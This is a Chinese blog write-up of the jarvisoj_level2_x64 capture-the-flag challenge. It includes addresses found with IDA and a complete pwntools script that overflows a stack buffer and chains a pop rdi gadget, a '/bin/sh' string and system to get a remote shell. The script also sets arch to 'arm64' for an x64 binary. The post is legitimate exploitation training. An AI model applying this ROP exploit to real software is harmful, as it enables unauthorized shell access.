首页 > 其他分享 >jarvisoj_level2_x64

jarvisoj_level2_x64

时间:2023-03-12 10:23:03浏览次数:37  
标签:shell addr system x64 level2 io jarvisoj

jarvisoj_level2_x64

定期刷pwn*2

1.检查

image-20230312090857352

仅仅只是个NX罢了

2.找漏洞

找到入口

0x200,很厚道啊

image-20230312091000138

找到shell和system函数

image-20230312091138907

image-20230312091241972

找到garget来给rdi传参

image-20230312091334554

路线仍然是栈溢出

3.配置问题

​ 这里稍微有了点麻烦。我没有Ubuntu16环境的动态链接库,所以要继续动态调试的话就得去临时配一个。

image-20230312091555471

但题目本身还是很清楚的,也没有开PIE,所以我干脆直接用ida分析好了

4.收集信息

image-20230312092851294

长度 = 0x200
距离rbp = 0x80
system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90

5.exp

from pwn import *
from LibcSearcher import *
import binascii
pwnfile = "./level2_x64"
elf = ELF(pwnfile)
context(log_level=logging.DEBUG,arch='arm64',os='linux')
io=remote("node4.buuoj.cn",25469)
#io = process(pwnfile)

system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90
dem1 = "Input:\n"
nops_1 = 0x80 + 8
payload1 = flat([b'a'*nops_1,pop_rid_ret,shell_addr,system_addr])
io.sendafter(dem1,payload1)
io.interactive()

​ 其实在本地调试的时候也遇到了不少麻烦……虽然思路很明确,但gdb别说附加进程,就连正常运行的无法做到。所幸是个简单的题目,基本上不用调试就知道结果了,否则就只能抓瞎。

image-20230312094958772

6.打

远程还是正常的。

image-20230312094600208

7.总结

​ 题目本身很简单,主要问题应该出在动态链接库版本不对应上,使得gdb直接报废,无法动态调试。

​ 看了一下其他师傅们的wp,都没有出现这个问题。虽然最直接的办法就是换成题目环境的Ubuntu16,ida在配置后也可以进行动调,但以防万一,我需要研究一下更便捷的方式。

标签:shell,addr,system,x64,level2,io,jarvisoj
From: https://www.cnblogs.com/koi514/p/17207687.html

相关文章

  • 会声会影2023旗舰版 v26.0.0.136 x64中文特别版支持多语言版
    会声会影2023旗舰版v26.0.0.136x64中文特别版支持多语言版参考:​​https://www.sohu.com/a/649529243_121324361​​会声会影2023中文旗舰版CorelVideoStudio是一款功......
  • ubuntu 14.04 x64 安装ia32-libs(时间点为2015.1.2)
    PS:要转载请注明出处,本人版权所有。PS:这个只是基于《我自己》的理解,如果和你的原则及想法相冲突,请谅解,勿喷。前置说明  本文发布于2015-01-0222:45:12,现用MarkDo......
  • Debugger data model, Javascript & x64 exception handling
    Debuggerdatamodel,Javascript&x64exceptionhandlingDate Fri01December2017 By Axel"0vercl0k"Souchet Category debugging Tags debugging javasc......
  • x64 APP栈回溯原理
    [原创]关于X64程序中RUNTIME_FUNCTION,UNWIND_INFO,UNWIND_CODE结构理解  2021-2-319:27  4012X64程序会生成一个Pdata段,用于记录每个函数的栈帧和异常信息,......
  • Challenges of Debugging Optimized x64 Code
    Learn  BlogArchive  NtdebuggingBlog 使用英语阅读保存  ChallengesofDebuggingOptimizedx64Code项目2009/01/0923分钟可看完If......
  • 深入理解Windows X64调试
     深入理解WindowsX64调试随着64位操作系统的普及,都开始大力进军x64,X64下的调试机制也发生了改变,与x86相比,添加了许多自己的新特性,之前学习了Windowsx64的调试......
  • dism修改easyu中10PEx64.wim文件
    从easyu的iso镜像中提取出10PEx64.wim文件,新建一个空分区,比如Z:1.获取wim映像索引信息,命令Dism/Get-WimInfo/WimFile:10PEx64.wim,一般只有一个为12.应用映像文件到空......
  • XMLHttpRequest Level2的新功能
    可以设置HTTP请求的时限可以使用FormData对象管理表单数据可以上传文件可以获得数据传输的进度信息设置HTTP请求时限  FormData对象管理表单数据......
  • Windows 11 22H2 中文版、英文版 (x64、ARM64) 下载 (updated Jan 2023)
    Windows11,version22H2,2023年1月更新,持续更新中...请访问原文链接:https://sysin.org/blog/windows-11/,查看最新版。原创作品,转载请保留出处。作者主页:www.sysin.......
  • X64汇编模拟器
    ​​https://sourceforge.net/projects/easypowolix64/​​......